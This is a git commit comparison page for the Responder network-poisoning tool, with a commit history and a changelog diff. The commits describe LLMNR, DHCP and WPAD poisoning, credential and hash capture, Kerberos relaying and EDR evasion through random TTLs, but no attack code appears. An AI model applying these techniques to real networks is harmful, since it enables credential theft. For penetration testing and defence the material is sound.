Compare commits

...

166 commits

Author SHA1 Message Date
lgandx
398a1fce31 Fixed minor parsing issue in FindIP 2025-05-22 18:45:45 -03:00
lgandx
fa2b8dd5fd minor fixes 2025-05-22 11:42:50 -03:00
lgandx
58eb8731a5 Added SNMP srv enabled by default 2025-05-22 05:34:30 -03:00
lgandx
658480e0a5 added recent changelog 2025-05-22 05:27:55 -03:00
lgandx
a76ee47867 added check for aioquic & updated version to reflect recent changes 2025-05-22 05:23:00 -03:00
lgandx
e346c01695
Merge pull request #310 from ctjf/master
added quic support based on xpn's work
2025-05-22 05:17:27 -03:00
lgandx
41ed7c4f4a
Merge pull request #308 from BlWasp/error_code_returned
Add control on the status code returned by the SMB server
2025-05-22 04:32:13 -03:00
lgandx
ea820ab076
Merge pull request #311 from stfnw/master
DHCP poisoner: refactor FindIP
2025-05-22 04:30:07 -03:00
Stefan Walter
a0d1f03617
DHCP poisoner: refactor FindIP
- do not crash on IP addresses where one octet contains 0x45 0x4f or 0x46

- operate on bytes (avoid encoding/decoding round-trip)
  and use simple string search instead of regular expressions

closes #181
closes #304
2025-04-12 12:11:00 +02:00
Joshua Fickett
871cdffa97 added quic support based on xpn's work 2025-04-03 15:16:00 -04:00
BlackWasp
e781559be0 Indentation typos 2025-03-16 23:40:51 +01:00
BlackWasp
6bf6887c49 Add status code control 2025-03-16 23:32:19 +01:00
lgandx
545137275f
Merge pull request #305 from L1-0/patch-1
Update RPC.py
2025-03-13 11:28:24 -03:00
Lino
6743423251
Update RPC.py
Fix Output of RPC.py
2025-02-24 11:49:06 +01:00
lgandx
d740fb526f
Merge pull request #301 from q-roland/kerberos_relaying_llmnr
Adding answer name spoofing capabilities to LLMNR poisoner for Kerberos relaying purposes
2025-01-27 07:22:07 -03:00
User
d3dd37a324 Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose 2025-01-23 14:35:41 -08:00
lgandx
e918fe01c6 added option to disable a TLD due to windows 11 infinite loop with _dosvc 2024-09-24 11:06:50 -03:00
lgandx
538e6c0d0d
Merge pull request #289 from brightio/patch-3
StartupMessage doesn't take into account the actual LLMNR, NBT-NS and MDNS
2024-09-11 17:04:14 -03:00
brightio
990df258a6
StartupMessage doesn't take into account the actual LLMNR, NBT-NS and MDNS status 2024-09-10 16:49:31 +02:00
lgandx
4947ae6e52 Added default mode for TTL option 2024-05-14 11:02:35 -03:00
lgandx
116a056e7d Listed all contributors over time. Thanks for your contribution to this project! 2024-05-08 10:14:11 -03:00
lgandx
d715f2de21 Updated Changelog 2024-05-08 09:41:44 -03:00
lgandx
64cf4d9873 minor fix 2024-05-06 09:56:02 -03:00
lgandx
ccbcd1736f minox typo fix 2024-05-06 09:24:06 -03:00
lgandx
413bc8be31 Fixed issue with smb signing detection 2024-05-06 09:16:36 -03:00
lgandx
bf25abfec8
Merge pull request #275 from nodauf/master
Random TTL value added to avoid some EDR detections
2024-05-06 07:33:27 -03:00
lgandx
06b33edc27
Merge pull request #276 from f3rn0s/master
Add options for poisoners
2024-05-06 07:10:32 -03:00
f3rn0s
807bd57a96 Add options for poisoners 2024-04-30 15:52:04 +10:00
nodauf
f50f0be59c Add randomness in TTL value to avoid some EDR detections 2024-04-02 16:42:09 +02:00
lgandx
1a2f2fdb22 added support for either resolv.conf or resolvectl 2024-01-06 15:01:43 -03:00
lgandx
e51f24e36c fixed minor bug 2024-01-06 13:48:41 -03:00
lgandx
fa297c8a16 Fixed bug when IPv6 is disabled via GRUB. 2024-01-06 12:44:38 -03:00
lgandx
44bfd1d221 DNS dump updated + removed var dump info on Config-Responder.log 2024-01-06 09:19:10 -03:00
lgandx
66e5b12c56 Updated changelog 2024-01-06 07:15:50 -03:00
lgandx
4b560f6e17 removed debug string 2024-01-04 20:44:13 -03:00
lgandx
e564e5159b removed bowser listener 2024-01-04 20:37:45 -03:00
lgandx
4b14455bdc minor fix on ldap 2024-01-04 19:50:16 -03:00
lgandx
ee5ab9a5fd default -> py3 2024-01-04 19:04:15 -03:00
lgandx
39f8cbb931 various changes. 2024-01-04 18:39:01 -03:00
lgandx
ec3349cb1e minor bugs 2024-01-04 18:22:08 -03:00
lgandx
2b9d89f044
Merge pull request #264 from exploide/ldaps
Added LDAPS listener
2024-01-04 17:36:04 -03:00
lgandx
b550dbe4b0
Merge pull request #261 from exploide/fix-escape-sequence-warning
Fixed 'SyntaxWarning: invalid escape sequence' for Python 3.12+
2024-01-04 17:32:39 -03:00
lgandx
6636317799 updated donation link 2024-01-04 17:31:16 -03:00
lgandx
add6224805
Merge pull request #265 from exploide/mssql-browser-typeerror
Fixed a TypeError in MSSQLBrowser
2024-01-04 17:19:58 -03:00
lgandx
700b7d6222 removed patreon donation link. 2024-01-04 17:15:24 -03:00
lgandx
66ee7f8f08 Fixed issue in http srv, more hashes & signature reduction. 2024-01-04 17:11:44 -03:00
lgandx
08e44d72ac removed useless string 2024-01-04 15:38:41 -03:00
exploide
20cdd9c7c2 fixed a TypeError in MSSQLBrowser
fixes #251
2024-01-04 15:26:26 +01:00
exploide
6d61f0439c added LDAPS listener
fixes #263
2024-01-04 14:50:44 +01:00
exploide
e9bd8a43ef fixed 'SyntaxWarning: invalid escape sequence' for Python 3.12+ 2023-12-14 18:20:04 +01:00
lgandx
4ea3d7b765 removed debug 2023-12-07 09:43:10 -03:00
lgandx
f670fbaa7f added:error handling on exceptions. 2023-12-07 09:36:54 -03:00
lgandx
31393c7072 fixed minor bug on py 3.10 2023-12-07 09:33:38 -03:00
lgandx
2f1b81b024 minor fix 2023-12-06 18:44:35 -03:00
lgandx
aed939c1ae
Merge pull request #249 from ShutdownRepo/netifaces
Upgrading `netifaces` requirement
2023-11-17 10:12:31 -03:00
lgandx
6f0217feed
Merge pull request #250 from ShutdownRepo/collections.abc
Upgrading `collections` import
2023-11-17 10:11:20 -03:00
lgandx
6b1f53a6f4
Merge pull request #254 from syntricks/patch-1
Fixing soft failure which results in missed SMTP credential interception
2023-11-17 10:09:58 -03:00
lgandx
351b1aad9e
Merge pull request #256 from exploide/basic-auth-fix
Fixed parsing of HTTP basic auth containing colons
2023-11-17 10:09:08 -03:00
lgandx
bf1cf1c335
Merge pull request #257 from brightio/patch-1
Handle FTP, MQTT and WinRM exceptions properly
2023-11-17 10:08:04 -03:00
brightio
6a76437464
Handle WinRM exceptions properly 2023-11-13 20:49:01 +01:00
brightio
f6d1e6027a
Handle MQTT exceptions properly 2023-11-13 20:46:46 +01:00
brightio
cb042d16a2
Handle FTP exceptions properly 2023-11-13 20:39:29 +01:00
exploide
90ff1d37a7 gitignore: ignore pyc and certificate files 2023-11-09 18:18:43 +01:00
exploide
dc33d1f858 fixed HTTP basic auth parsing when password contains colons
fixes #255
2023-11-09 18:14:36 +01:00
Syntricks
34603aed0a
Fixing soft failure which results in missed SMTP credential interception
Without this responder silently fails. During debugging I observed [[[can only concatenate str (not "bytes") to str]]] error. Enabling decoding of bytes made the error disappear and credentials properly intercepted (on-screen stdout, logs and to DB). 
Thank you for a very useful tool :)
2023-10-12 00:51:19 +03:00
Shutdown
aa8d81861b
Fixing collections import issue for /tools/MultiRelay/odict.py 2023-09-22 00:43:58 +02:00
Shutdown
2c4cadbf7d
Fixing import issue like in /tools/odict.py 2023-09-22 00:43:25 +02:00
Shutdown
3a23ccdef8
Upgrading collections import 2023-09-21 20:18:13 +02:00
Shutdown
2b37d5763a
Upgrading netifaces requirement 2023-09-21 20:14:59 +02:00
lgandx
de20dcf408
Merge pull request #243 from nobbd/nobbd-patch-1
Fix bug with single byte comparisons in python3
2023-09-11 07:12:28 -03:00
nobbd
6063c2f77a
Update SMB.py 2023-08-15 16:03:30 +02:00
nobbd
b61a640747
Update SMB.py 2023-08-15 15:50:53 +02:00
nobbd
4ec2631ab0
Update Finger.py to fix bug with single byte comparisons in python3 2023-08-15 15:36:10 +02:00
nobbd
9713fe0e70
Update RunFinger.py to fix bug with single byte comparisons in python3 2023-08-15 15:34:08 +02:00
nobbd
63954a539c
Update RelayMultiCore.py to fix bug with single byte comparisons in python3 2023-08-15 15:18:55 +02:00
nobbd
728b100bfd
Update MSSQL.py to fix bug with single byte comparisons in python3 2023-08-15 15:15:23 +02:00
nobbd
a205b58091
Update SMB.py to fix single byte comparisons in python3 2023-08-15 15:08:42 +02:00
lgandx
83c817d9c2
Merge pull request #222 from lowSoA/enhancement-snmpv3-support
Implement SNMPv3 support
2023-08-13 11:21:10 -03:00
lgandx
56e5fa0d29
Merge pull request #236 from NullByteZero/master
Implemented MQTT server
2023-08-13 11:17:58 -03:00
lgandx
332697fbd9
Merge pull request #238 from deltronzero/master
fix typo of ServerTlype
2023-08-13 11:13:30 -03:00
lgandx
d8a30a5ec7
Merge pull request #224 from kevintellier/master
Added full path to gen-self-sign-cert.sh
2023-08-13 10:31:48 -03:00
deltronzero
0c80b76f57 fix typo of ServerTlype 2023-06-12 07:50:01 -07:00
Ziga P
a21b36605c Implemented MQTT support 2023-06-05 20:19:44 +02:00
lgandx
8e12d2bcfe Removed Patreon link 2023-05-22 20:32:45 -03:00
lgandx
ff21c5452c
Merge pull request #232 from also-here/master
Allowing IPv6 addresses in RespondTo and DontRespondTo
2023-05-23 01:15:15 +02:00
also-here
5c83b7c45b
Update LLMNR.py
Added a IPv6 check for the DNS address. IsOnTheSameSubnet does not currently support IPv6 which is fine as ICMP-Redirecy.py currently does not yet support IPv6 either.
2023-03-14 21:21:19 -05:00
lgandx
07c963f5ea
Merge pull request #233 from SilverSteven/fulfill-license-obligation
append changelog to fulfill the license obligation
2023-03-14 08:19:28 -03:00
steven
feecf8ed0b
append changelog to fulfill the license obligation 2023-03-09 10:31:01 +08:00
also-here
e36fafb783
Update Responder.conf
added Don't Respond To instructions
2023-03-05 19:13:25 -06:00
also-here
5ec5412fb9
Update settings.py
removed redundant upper()
2023-03-05 18:57:08 -06:00
also-here
6a11fe8b6a
Updated with some IPv6
Added IPv6 options to RespondTo and DontRespondTo
2023-03-05 18:40:32 -06:00
also-here
3f5c836ba0
Update settings.py
compresses expanded IPv6 addresses
2023-03-05 18:33:48 -06:00
also-here
8953f87bbd
Update settings.py to expand IPv6 addresses.
Still handles IPv4 addresses as well.
2023-03-03 16:20:22 -06:00
kevintellier
69f431e58f Added full path to gen-self-sign-cert.sh 2022-12-21 18:04:07 +01:00
soa
edb85332ab SNMPv3 support 2022-11-18 18:21:23 +01:00
lgandx
9c303d7bd5
Merge pull request #219 from SAERXCIT/master
Extend --disable-ess to HTTP
2022-11-08 09:38:18 -03:00
lgandx
b61d211b10
Merge pull request #220 from lgandx/revert-216-smbv1ScanWorkAgain
Revert "run smbv1 scan in runfinger"
2022-11-08 09:36:02 -03:00
lgandx
f39079da77
Revert "run smbv1 scan in runfinger" 2022-11-08 09:22:41 -03:00
SAERXCIT
660b6ca309 Extend --disable-ess to HTTP 2022-11-08 12:23:01 +01:00
lgandx
8d25d04f13
Merge pull request #218 from ss23/snmp
Implement a basic SNMP listener
2022-11-07 11:18:02 -03:00
Stephen Shkardoon
9d4f919b39
Implement a basic SNMP listener
All community strings are logged as they are sent to the server.
This initial implementation only supports SNMPv1 and SNMPv2c.

`pyasn1` is required for this server to function.
2022-11-06 01:27:28 +13:00
lgandx
59daf46b93
Merge pull request #216 from requin-citron/smbv1ScanWorkAgain
run smbv1 scan in runfinger
2022-11-03 15:44:05 -03:00
requin
cf0c4ee659 add flag (-s) to enable smbv1scan 2022-11-02 19:16:10 +01:00
requin
709df2c6e1 add hostname on smbv2 scan result 2022-10-31 17:31:16 +01:00
Sans23
3aaaaf1c7f
Merge branch 'lgandx:master' into smbv1ScanWorkAgain 2022-10-31 15:16:24 +01:00
lgandx
c9b5dd040e Removed machine accounts dump, since they are not crackable 2022-10-19 08:44:05 -03:00
klemou
4321919c9f run smbv1 scan in runfinger 2022-10-01 09:26:32 +02:00
lgandx
b8818ed0c4 Added dump by legacy protocols 2022-09-16 09:36:51 -03:00
lgandx
07dbcf5d6d Modified wpad script 2022-08-06 02:49:28 -03:00
lgandx
c51251db5f Fixed potential disruption on Proxy-Auth 2022-08-06 00:26:11 -03:00
lgandx
fe58475c63
Merge pull request #210 from 0xjbb/master
Added Quiet Mode
2022-08-05 22:06:19 -03:00
lgandx
00d9d27089 added requirements.txt 2022-08-05 21:49:48 -03:00
lgandx
56c3832a3c
Create FUNDING.yml 2022-08-05 21:21:53 -03:00
lgandx
0bc226b4be Added: append .local TLD to DontRespondToNames + MDNS bug fix 2022-08-05 20:27:56 -03:00
lgandx
fad2be0a8e
Merge pull request #199 from gblomqvist/master
Fix double logging of first hash/cleartext when CaptureMultipleHashFromSameHost = On
2022-08-05 18:58:56 -03:00
lgandx
2765ef4e66 fixed the RespondTo/DontRespondTo issue 2022-08-05 18:51:57 -03:00
jb
2cd66a9b92 Added Quiet mode 2022-07-29 21:15:40 +01:00
lgandx
15d03bc902 Minor bugs and display/logging fixes + RDP srv SSLwrapping fix 2022-07-26 14:56:18 -03:00
lgandx
9b1c99ccd2 Fixed: Warnings on python 3.10 2022-07-12 20:15:36 -03:00
lgandx
983a1c6576 removed -r reference from help msg. 2022-05-17 21:48:02 -03:00
lgandx
03fa9a7187 removed -r references 2022-05-17 21:38:01 -03:00
lgandx
a6838fdc42
Merge pull request #202 from noraj/patch-2
odict: fix import issue
2022-05-17 21:16:41 -03:00
lgandx
8c201cf33e
Merge pull request #203 from cweedon/patch-1
Fix missing paren error
2022-05-17 21:15:41 -03:00
cweedon
0c7a3ffabe
Fix missing paren error
added parentheses to the print call to fix the error
2022-05-17 12:20:28 -05:00
Alexandre ZANNI
d1cb26bda7
keep compatibility with previous versions 2022-05-13 18:06:35 +02:00
Alexandre ZANNI
0ced7d52c0
odict: fix import issue 2022-05-08 20:54:23 +02:00
Gustaf Blomqvist
e7eb3bcce8
Fix double logging of first hash or cleartext 2022-04-28 15:20:13 +02:00
lgandx
fd9bcf7de1
Merge pull request #191 from Mipsters/master
MutableMapping was moved to collections.abc
2022-02-12 17:17:23 -03:00
Tom Aviv
b9f3ae35ee MutableMapping was moved to collections.abc 2022-02-11 23:24:00 +02:00
lgandx
39a2c7c0f2
Merge pull request #188 from Ne4istb/patch-1
Fixed options formating in README
2022-02-10 08:33:50 -03:00
lgandx
bd823f65a2
Merge pull request #190 from kitchung/kitchung-patch-1
DE-RPC server status not correct
2022-02-10 08:33:01 -03:00
kitchung
ee88da1af8
DE-RPC server status not correct #189
Line 512 should read:
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled))

Instead of:
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled))
2022-02-06 16:35:01 -08:00
Andrii Nechytailov
f85ad77d59
Fixed options formating in README 2022-02-03 18:32:42 +02:00
lgandx
b147229938
Merge pull request #185 from ajkerley628/master
Updated the README and Responder help flags
2022-01-12 06:17:09 -03:00
root
afb54fa274 Updated the README and Responder help flags 2022-01-11 15:37:14 -06:00
lgandx
5cf69228cf added support for OPT EDNS 2021-12-21 22:39:02 -03:00
lgandx
0b56d6aaeb removed fingerprint.py 2021-12-17 10:10:08 -03:00
lgandx
5d4510cc1d Added IPv6 support 2021-12-17 10:05:00 -03:00
lgandx
bc812da2ef Updated the Readme file with the new options and removed some old stuff 2021-12-17 00:32:12 -03:00
lgandx
3e8c9fdb0e added: dhcp inform 2021-12-13 20:30:14 -03:00
lgandx
76f6c88df3 Added DHCP DNS vs DHCP WPAD 2021-12-12 17:55:58 -03:00
lgandx
9dc779869b Added DHCP DNS vs WPAD srv injection 2021-12-12 17:02:08 -03:00
lgandx
505ec34324 Added DHCP DNS vs WPAD srv injection 2021-12-12 17:01:03 -03:00
lgandx
a0bf7a9baa minor display fix. 2021-12-12 12:26:02 -03:00
lgandx
bb17595e3f Added date and time for each Responder session config log. 2021-12-10 21:06:03 -03:00
lgandx
ba885b9345 added the ability to provide external IP on WPAD poison via DHCP 2021-12-09 22:38:44 -03:00
lgandx
568048710f Added a check for MSSQL 2021-12-08 19:57:20 -03:00
lgandx
3cd5140c80 Fixed the ON/OFF for poisoners when in Analyze mode. 2021-12-07 20:15:17 -03:00
lgandx
17e62bda1a Remove analyze mode on DNS since you need to ARP to get queries 2021-12-07 19:56:41 -03:00
lgandx
6e2c77168f Small fix 2021-12-07 17:59:54 -03:00
lgandx
d425783be9 Removed old DHCP script since its now a Responder module. 2021-12-03 00:08:40 -03:00
lgandx
de778f6698 removed default certs 2021-12-03 00:05:21 -03:00
lgandx
21afd357f8 Removed the static certs and added automatic cert generation 2021-12-03 00:03:01 -03:00
lgandx
a567d3dc31 minor bug when no RunFinger has been launched. 2021-12-02 22:04:32 -03:00
lgandx
f90b76fed2 Added DB for RunFinger results & Report 2021-12-02 22:01:18 -03:00
lgandx
51411e6b20 few enhancements 2021-12-01 00:08:54 -03:00
lgandx
826b5af9e2 removed debug str 2021-11-30 23:50:00 -03:00
lgandx
29ae6eca2e Merge branch 'master' of https://github.com/lgandx/Responder 2021-11-30 23:43:05 -03:00
lgandx
a462d1df06 added timeout option for fine tuning 2021-11-30 23:42:04 -03:00
lgandx
110f565bbd
Merge pull request #136 from ghost/patch-2
Correct Analyze log filename
2021-11-30 22:47:43 -03:00
lgandx
88a2c6a53b fix: DHCP now working on VPN interface 2021-11-30 22:38:07 -03:00
lgandx
1dfa997da8 added DHCP db & updated the report script to reflect that 2021-11-30 22:21:55 -03:00
lgandx
0bf23d632b DHCP: Added auto WPADscript configuration with our IP instead of hardcoded NBT string 2021-11-20 21:36:00 -03:00
lgandx
02fb3f8978 Added support for single IP or range file. 2021-11-20 20:35:33 -03:00
lgandx
1b2a22facf Fixed a bug and increased speed. 2021-11-20 20:11:58 -03:00
Laban Sköllermark
e8e3f155f2
Correct Analyze log filename
The default filename for Analyze logs is Analyzer-Session.log, not
Analyze-Session.log.
2020-09-30 16:07:14 +02:00
47 changed files with 2675 additions and 1125 deletions

2
.github/FUNDING.yml vendored Normal file
View file

@ -0,0 +1,2 @@
github: lgandx
custom: 'https://paypal.me/PythonResponder'

6
.gitignore vendored
View file

@ -1,5 +1,11 @@
# Python artifacts
*.pyc
# Responder logs
*.db
*.txt
*.log
# Generated certificates and keys
certs/*.crt
certs/*.key

713
CHANGELOG.md Normal file
View file

@ -0,0 +1,713 @@
n.n.n / 2025-05-22
==================
* added check for aioquic & updated version to reflect recent changes
* Merge pull request #310 from ctjf/master
* Merge pull request #308 from BlWasp/error_code_returned
* Merge pull request #311 from stfnw/master
* DHCP poisoner: refactor FindIP
* added quic support based on xpn's work
* Indentation typos
* Add status code control
* Merge pull request #305 from L1-0/patch-1
* Update RPC.py
* Merge pull request #301 from q-roland/kerberos_relaying_llmnr
* Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
n.n.n / 2025-05-22
==================
* added check for aioquic & updated version to reflect recent changes
* Merge pull request #310 from ctjf/master
* Merge pull request #308 from BlWasp/error_code_returned
* Merge pull request #311 from stfnw/master
* DHCP poisoner: refactor FindIP
* added quic support based on xpn's work
* Indentation typos
* Add status code control
* Merge pull request #305 from L1-0/patch-1
* Update RPC.py
* Merge pull request #301 from q-roland/kerberos_relaying_llmnr
* Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).
<!-- insertion marker -->
## Unreleased
<small>[Compare with latest](https://github.com/lgandx/Responder/compare/v3.1.4.0...HEAD)</small>
### Added
- Add options for poisoners ([807bd57](https://github.com/lgandx/Responder/commit/807bd57a96337ab77f2fff50729a6eb229e5dc37) by f3rn0s).
- Add randomness in TTL value to avoid some EDR detections ([f50f0be](https://github.com/lgandx/Responder/commit/f50f0be59c0de6fd0ff8eef62ba31db96815c878) by nodauf).
- added support for either resolv.conf or resolvectl ([1a2f2fd](https://github.com/lgandx/Responder/commit/1a2f2fdb22a2bf8b04e0ac99219831457b7ba43a) by lgandx).
### Fixed
- Fixed issue with smb signing detection ([413bc8b](https://github.com/lgandx/Responder/commit/413bc8be3169d215f7d5f251a78c8d8404e52f61) by lgandx).
- fixed minor bug ([e51f24e](https://github.com/lgandx/Responder/commit/e51f24e36c1f84bc995a690d385c506c35cc6175) by lgandx).
- Fixed bug when IPv6 is disabled via GRUB. ([fa297c8](https://github.com/lgandx/Responder/commit/fa297c8a16f605bdb731542c67280a4d8bc023c4) by lgandx).
### Removed
- removed debug string ([4b560f6](https://github.com/lgandx/Responder/commit/4b560f6e17493dcfc6bf653d0ebe0547a88735ac) by lgandx).
- removed bowser listener ([e564e51](https://github.com/lgandx/Responder/commit/e564e5159b9a1bfe3c5f1101b3ab11672e0fd46b) by lgandx).
<!-- insertion marker -->
## [v3.1.4.0](https://github.com/lgandx/Responder/releases/tag/v3.1.4.0) - 2024-01-04
<small>[Compare with v3.1.3.0](https://github.com/lgandx/Responder/compare/v3.1.3.0...v3.1.4.0)</small>
### Added
- added LDAPS listener ([6d61f04](https://github.com/lgandx/Responder/commit/6d61f0439c1779767c9ea9840ac433ed98e672cd) by exploide).
- added:error handling on exceptions. ([f670fba](https://github.com/lgandx/Responder/commit/f670fbaa7fcd3b072aef7cf29f43c1d76d6f13bf) by lgandx).
- Added full path to gen-self-sign-cert.sh ([69f431e](https://github.com/lgandx/Responder/commit/69f431e58f07c231e75a73b0782855e9277573ac) by kevintellier).
- add flag (-s) to enable smbv1scan ([cf0c4ee](https://github.com/lgandx/Responder/commit/cf0c4ee659779c027374155716f09b13cb41abb5) by requin).
- add hostname on smbv2 scan result ([709df2c](https://github.com/lgandx/Responder/commit/709df2c6e18ec2fa6647fdaaa4d9f9e2cb7920f8) by requin).
- Added dump by legacy protocols ([b8818ed](https://github.com/lgandx/Responder/commit/b8818ed0c47d9d615c4ba1dcff99e8d2d98296d5) by lgandx).
- added requirements.txt ([00d9d27](https://github.com/lgandx/Responder/commit/00d9d27089d8f02658b08f596d28d1722c276d57) by lgandx).
- Added: append .local TLD to DontRespondToNames + MDNS bug fix ([0bc226b](https://github.com/lgandx/Responder/commit/0bc226b4beaa84eb3ac26f5d563959ccf567262b) by lgandx).
- Added Quiet mode ([2cd66a9](https://github.com/lgandx/Responder/commit/2cd66a9b92aa6ca2b7fba0fea03b0a285c186683) by jb).
### Fixed
- Fixed issue in http srv, more hashes & signature reduction. ([66ee7f8](https://github.com/lgandx/Responder/commit/66ee7f8f08f57926f5b3694ffb9e87619eee576f) by lgandx).
- fixed a TypeError in MSSQLBrowser ([20cdd9c](https://github.com/lgandx/Responder/commit/20cdd9c7c23e620e3d530f76003b94407882e9cd) by exploide).
- fixed 'SyntaxWarning: invalid escape sequence' for Python 3.12+ ([e9bd8a4](https://github.com/lgandx/Responder/commit/e9bd8a43ef353a03ba9195236a3aa5faf3788faa) by exploide).
- fixed minor bug on py 3.10 ([31393c7](https://github.com/lgandx/Responder/commit/31393c70726206fc1056f76ef6b81a981d7954c5) by lgandx).
- fixed HTTP basic auth parsing when password contains colons ([dc33d1f](https://github.com/lgandx/Responder/commit/dc33d1f858e9bbc58ae8edf030dbfee208d748f1) by exploide).
- Fixing soft failure which results in missed SMTP credential interception ([34603ae](https://github.com/lgandx/Responder/commit/34603aed0aadfe3c3625ea729cbc9dc0f06e7e73) by Syntricks).
- Fixing collections import issue for /tools/MultiRelay/odict.py ([aa8d818](https://github.com/lgandx/Responder/commit/aa8d81861bcdfc3dbf253b617ec044fd4807e9d4) by Shutdown).
- Fixing import issue like in /tools/odict.py ([2c4cadb](https://github.com/lgandx/Responder/commit/2c4cadbf7dec6e26ec2494a0cfde38655f5bebaf) by Shutdown).
- fix typo of ServerTlype ([0c80b76](https://github.com/lgandx/Responder/commit/0c80b76f5758dfae86bf4924a49b29c31e2e77f8) by deltronzero).
- Fixed potential disruption on Proxy-Auth ([c51251d](https://github.com/lgandx/Responder/commit/c51251db5ff311743238b1675d52edb7c6849f00) by lgandx).
- fixed the RespondTo/DontRespondTo issue ([2765ef4](https://github.com/lgandx/Responder/commit/2765ef4e668bc3493924aae5032e3ec63078ac42) by lgandx).
### Removed
- removed patreon donation link. ([700b7d6](https://github.com/lgandx/Responder/commit/700b7d6222afe3c1d6fb17a0a522e1166e6ad025) by lgandx).
- removed useless string ([08e44d7](https://github.com/lgandx/Responder/commit/08e44d72acd563910c153749b3c204ce0304bdd1) by lgandx).
- removed debug ([4ea3d7b](https://github.com/lgandx/Responder/commit/4ea3d7b76554dee5160aaf76a0235074590284f8) by lgandx).
- Removed Patreon link ([8e12d2b](https://github.com/lgandx/Responder/commit/8e12d2bcfe11cc23e35ea678b9e4979856183d0e) by lgandx).
- Removed machine accounts dump, since they are not crackable ([c9b5dd0](https://github.com/lgandx/Responder/commit/c9b5dd040e27de95638b33da7a35e5187efb4aac) by lgandx).
## [v3.1.3.0](https://github.com/lgandx/Responder/releases/tag/v3.1.3.0) - 2022-07-26
<small>[Compare with v3.1.2.0](https://github.com/lgandx/Responder/compare/v3.1.2.0...v3.1.3.0)</small>
### Fixed
- Fixed: Warnings on python 3.10 ([9b1c99c](https://github.com/lgandx/Responder/commit/9b1c99ccd29890496b0194c061266997e28be4c0) by lgandx).
- Fix missing paren error ([0c7a3ff](https://github.com/lgandx/Responder/commit/0c7a3ffabeee77cb9f3d960168a357e9583b2f9f) by cweedon).
- Fix double logging of first hash or cleartext ([e7eb3bc](https://github.com/lgandx/Responder/commit/e7eb3bcce85c5d437082214c0e8044919cccee56) by Gustaf Blomqvist).
### Removed
- removed -r reference from help msg. ([983a1c6](https://github.com/lgandx/Responder/commit/983a1c6576cb7dfe6cabea93e56dc4f2c557621b) by lgandx).
- removed -r references ([03fa9a7](https://github.com/lgandx/Responder/commit/03fa9a7187c80586629c58a297d0d78f2f8da559) by lgandx).
## [v3.1.2.0](https://github.com/lgandx/Responder/releases/tag/v3.1.2.0) - 2022-02-12
<small>[Compare with v3.1.1.0](https://github.com/lgandx/Responder/compare/v3.1.1.0...v3.1.2.0)</small>
### Added
- added support for OPT EDNS ([5cf6922](https://github.com/lgandx/Responder/commit/5cf69228cf5ce4c0433904ee1d05955e8fd6f618) by lgandx).
### Fixed
- Fixed options formating in README ([f85ad77](https://github.com/lgandx/Responder/commit/f85ad77d595f5d79b86ddce843bc884f1ff4ac9e) by Andrii Nechytailov).
## [v3.1.1.0](https://github.com/lgandx/Responder/releases/tag/v3.1.1.0) - 2021-12-17
<small>[Compare with v3.0.9.0](https://github.com/lgandx/Responder/compare/v3.0.9.0...v3.1.1.0)</small>
### Added
- Added IPv6 support ([5d4510c](https://github.com/lgandx/Responder/commit/5d4510cc1d0479b13ece9d58ea60d187daf8cdab) by lgandx).
- added: dhcp inform ([3e8c9fd](https://github.com/lgandx/Responder/commit/3e8c9fdb0eceb3eb1f7c6dbc81502b340a5ca152) by lgandx).
- Added DHCP DNS vs DHCP WPAD ([76f6c88](https://github.com/lgandx/Responder/commit/76f6c88df31bbd59dc6dceba1b59251012e45f81) by lgandx).
- Added DHCP DNS vs WPAD srv injection ([9dc7798](https://github.com/lgandx/Responder/commit/9dc779869b5a47fdf26cf79a727ea4a853f0d129) by lgandx).
- Added date and time for each Responder session config log. ([bb17595](https://github.com/lgandx/Responder/commit/bb17595e3fc9fafa58c8979bebc395ed872ef598) by lgandx).
### Removed
- removed fingerprint.py ([0b56d6a](https://github.com/lgandx/Responder/commit/0b56d6aaeb00406b364cf152b258365393d64ccc) by lgandx).
## [v3.0.9.0](https://github.com/lgandx/Responder/releases/tag/v3.0.9.0) - 2021-12-10
<small>[Compare with v3.0.8.0](https://github.com/lgandx/Responder/compare/v3.0.8.0...v3.0.9.0)</small>
### Added
- added the ability to provide external IP on WPAD poison via DHCP ([ba885b9](https://github.com/lgandx/Responder/commit/ba885b9345024809555d1a2c1f8cc463870602bb) by lgandx).
- Added a check for MSSQL ([5680487](https://github.com/lgandx/Responder/commit/568048710f0cf5c04c53fd8e026fdd1b3f5c16e6) by lgandx).
### Fixed
- Fixed the ON/OFF for poisoners when in Analyze mode. ([3cd5140](https://github.com/lgandx/Responder/commit/3cd5140c800d8f4e9e8547e4137cafe33fc2f066) by lgandx).
### Removed
- Remove analyze mode on DNS since you need to ARP to get queries ([17e62bd](https://github.com/lgandx/Responder/commit/17e62bda1aed4884c1f08e514faba8c1e39b36ad) by lgandx).
## [v3.0.8.0](https://github.com/lgandx/Responder/releases/tag/v3.0.8.0) - 2021-12-03
<small>[Compare with v3.0.7.0](https://github.com/lgandx/Responder/compare/v3.0.7.0...v3.0.8.0)</small>
### Added
- Added DB for RunFinger results & Report ([f90b76f](https://github.com/lgandx/Responder/commit/f90b76fed202ee4a6e17a030151c8de4430717a8) by lgandx).
- added timeout option for fine tuning ([a462d1d](https://github.com/lgandx/Responder/commit/a462d1df061b214eebcabdbe3f95caa5dd8ea3c7) by lgandx).
- added DHCP db & updated the report script to reflect that ([1dfa997](https://github.com/lgandx/Responder/commit/1dfa997da8c0fa1e51a1be30b2a3d5f5d92f4b7f) by lgandx).
- Added support for single IP or range file. ([02fb3f8](https://github.com/lgandx/Responder/commit/02fb3f8978286a486d633a707889ea8992a7f43a) by lgandx).
### Fixed
- fix: DHCP now working on VPN interface ([88a2c6a](https://github.com/lgandx/Responder/commit/88a2c6a53b721da995fbbd8e5cd82fb40d4af268) by lgandx).
- Fixed a bug and increased speed. ([1b2a22f](https://github.com/lgandx/Responder/commit/1b2a22facfd54820cc5f8ebba06f5cd996e917dc) by lgandx).
### Removed
- Removed old DHCP script since its now a Responder module. ([d425783](https://github.com/lgandx/Responder/commit/d425783be994b0d2518633e4b93e13e305685e5b) by lgandx).
